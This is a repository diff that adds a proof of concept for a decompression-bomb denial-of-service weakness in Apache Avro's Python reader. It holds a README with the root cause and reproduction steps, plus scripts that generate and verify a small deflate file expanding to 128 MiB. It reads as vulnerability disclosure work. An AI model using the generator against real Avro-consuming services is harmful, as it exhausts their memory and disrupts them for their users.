Upload 5 files

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+avro-deflate-128m.avro filter=lfs diff=lfs merge=lfs -text

README.md

@@ -0,0 +1,71 @@
+---
+library_name: avro
+tags:
+- security
+- model-format-vulnerability
+- avro
+- denial-of-service
+---
+
+# Apache Avro Python deflate decompression bomb PoC
+
+This repository contains a minimal proof of concept for a resource-exhaustion issue in Apache Avro's official Python reader.
+
+Affected:
+
+- `avro==1.12.1` from PyPI
+- Apache Avro `main` at commit `840dc8139f4b3d1bfa8e8c8f1ac3be949b440634`
+
+Root cause:
+
+- `avro.datafile.DataFileReader.__next__()` calls `_read_block_header()`.
+- `_read_block_header()` calls `codec.decompress(self.raw_decoder)`.
+- `avro.codecs.DeflateCodec.decompress()` reads the compressed Avro block and calls `zlib.decompress(data, -15)` without any maximum decompressed-size or expansion-ratio limit.
+
+The included `avro-deflate-128m.avro` is a valid deflate-coded Avro object container file. It is 130,634 bytes on disk and expands to a 134,217,728-byte `bytes` field during normal `DataFileReader` iteration.
+
+## Reproduction
+
+```bash
+python3 -m venv .venv
+.venv/bin/pip install avro==1.12.1
+.venv/bin/python verify_avro_deflate_bomb_poc.py \
+  avro-deflate-control.avro \
+  avro-deflate-128m.avro
+```
+
+Expected result on the test host:
+
+```text
+control file_size=181 -> loaded, payload_len=1024, maxrss_after_kb around 18,000
+bomb file_size=130634 -> loaded, payload_len=134217728, maxrss_after_kb around 280,000
+```
+
+With a 160 MiB address-space cap, the control loads while the bomb fails in the Avro block decompression path:
+
+```bash
+.venv/bin/python verify_avro_deflate_bomb_poc.py --limit-mb 160 \
+  avro-deflate-control.avro \
+  avro-deflate-128m.avro
+```
+
+Observed exception:
+
+```text
+MemoryError: Unable to allocate output buffer.
+  File ".../avro/datafile.py", line 404, in __next__
+  File ".../avro/datafile.py", line 386, in _read_block_header
+  File ".../avro/codecs.py", line 126, in decompress
+    uncompressed = zlib.decompress(data, -15)
+```
+
+## Files
+
+- `avro-deflate-128m.avro` - 130,634-byte trigger file, SHA256 `a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0`
+- `avro-deflate-control.avro` - 181-byte control file, SHA256 `fd1d3d5cc0722727329d536ee8ab20e4fc3da2629c8921ffde850e96056d7ae9`
+- `make_avro_deflate_bomb_poc.py` - generator
+- `verify_avro_deflate_bomb_poc.py` - verifier
+
+## Notes
+
+Apache Avro Java recently added decompression-size limits for the same class of codec bomb in AVRO-4247. This PoC demonstrates that the official Python Avro reader still lacks an equivalent limit in the latest PyPI release and in current Apache Avro main.

avro-deflate-128m.avro

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0
+size 130634

make_avro_deflate_bomb_poc.py

@@ -0,0 +1,58 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import hashlib
+from pathlib import Path
+
+from avro.datafile import DataFileWriter
+from avro.io import DatumWriter
+from avro.schema import parse
+
+
+SCHEMA = parse(
+    """
+    {
+      "type": "record",
+      "name": "PayloadRecord",
+      "fields": [
+        {"name": "payload", "type": "bytes"}
+      ]
+    }
+    """
+)
+
+
+def build(path: Path, payload_size: int) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    payload = b"\x00" * payload_size
+    with path.open("wb") as fp:
+        writer = DataFileWriter(fp, DatumWriter(), SCHEMA, codec="deflate")
+        writer.append({"payload": payload})
+        writer.close()
+
+
+def sha256(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as fp:
+        for chunk in iter(lambda: fp.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--out", default="poc/avro-deflate-128m.avro")
+    parser.add_argument("--payload-size", type=int, default=128 * 1024 * 1024)
+    args = parser.parse_args()
+
+    out = Path(args.out)
+    build(out, args.payload_size)
+    print(f"artifact={out}")
+    print(f"payload_size={args.payload_size}")
+    print(f"file_size={out.stat().st_size}")
+    print(f"sha256={sha256(out)}")
+
+
+if __name__ == "__main__":
+    main()

verify_avro_deflate_bomb_poc.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import json
+import resource
+import subprocess
+import sys
+from pathlib import Path
+
+
+def run_child(path: Path, limit_mb: int | None) -> dict[str, object]:
+    code = r"""
+import json
+import resource
+import sys
+
+if LIMIT_MB:
+    cap = int(LIMIT_MB) * 1024 * 1024
+    resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
+
+from avro.datafile import DataFileReader
+from avro.io import DatumReader
+
+try:
+    with open(PATH, "rb") as fp:
+        reader = DataFileReader(fp, DatumReader())
+        before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
+        record = next(reader)
+        after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
+        payload_len = len(record["payload"])
+        reader.close()
+    print(json.dumps({
+        "status": "loaded",
+        "payload_len": payload_len,
+        "maxrss_before_kb": before,
+        "maxrss_after_kb": after,
+    }))
+except BaseException as exc:
+    print(json.dumps({
+        "status": "exception",
+        "type": type(exc).__name__,
+        "message": str(exc)[:240],
+        "maxrss_kb": resource.getrusage(resource.RUSAGE_SELF).ru_maxrss,
+    }))
+    raise
+"""
+    child_code = code.replace("PATH", repr(str(path))).replace("LIMIT_MB", "0" if limit_mb is None else str(limit_mb))
+    proc = subprocess.run(
+        [sys.executable, "-c", child_code],
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        text=True,
+        timeout=30,
+    )
+    parsed = None
+    if proc.stdout.strip():
+        try:
+            parsed = json.loads(proc.stdout.strip().splitlines()[-1])
+        except json.JSONDecodeError:
+            parsed = None
+    return {
+        "returncode": proc.returncode,
+        "stdout": proc.stdout,
+        "stderr_tail": proc.stderr[-1200:],
+        "parsed": parsed,
+    }
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("paths", nargs="+")
+    parser.add_argument("--limit-mb", type=int)
+    args = parser.parse_args()
+
+    for p in args.paths:
+        path = Path(p)
+        result = run_child(path, args.limit_mb)
+        print(f"== {path} ==")
+        print(f"file_size={path.stat().st_size}")
+        print(json.dumps(result, indent=2, sort_keys=True))
+
+
+if __name__ == "__main__":
+    main()